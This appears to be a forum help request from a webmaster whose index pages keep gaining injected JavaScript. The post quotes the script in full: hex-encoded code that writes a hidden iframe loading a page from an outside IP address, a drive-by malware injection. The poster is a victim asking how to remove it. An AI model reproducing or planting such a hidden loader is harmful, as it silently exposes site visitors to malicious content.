Stupid code keeps appearing on index pages, help!

Hi

this code keeps appearing on my index pages:

Code:

"<script>
 
function v483696fc78c19(v483696fc79410)
    { 
       var v483696fc79c09=16; 
       return(parseInt(v483696fc79410,v483696fc79c09));
    }
 
function v483696fc7abfa(v483696fc7b3f2) 
    { 
       var v483696fc7cbdc=2; 
       var v483696fc7bbeb='';
       for(v483696fc7c3e3=0; v483696fc7c3e3<v483696fc7b3f2.length; v483696fc7c3e3+=v483696fc7cbdc)
       { 
           v483696fc7bbeb+=(String.fromCharCode(v483696fc78c19(v483696fc7b3f2.substr(v483696fc7c3e3, v483696fc7cbdc))));
       }
        return v483696fc7bbeb;
    } 
 
document.write(v483696fc7abfa('3C5343524950543E77696E646F772E7374617475733D27446F6E65273B646F63756D656E742E777269746528273C696672616D65206E616D653D3034373634207372633D5C27687474703A2F2F37372E3232312E3133332E3135302F2E69662F676F2E68746D6C3F272B4D6174682E726F756E64284D6174682E72616E646F6D28292A3333303630292B2731343663645C272077696474683D333438206865696768743D3935207374796C653D5C27646973706C61793A206E6F6E655C273E3C2F696672616D653E27293C2F5343524950543E'));
</script>"

can someone help on how to remove it?

thanks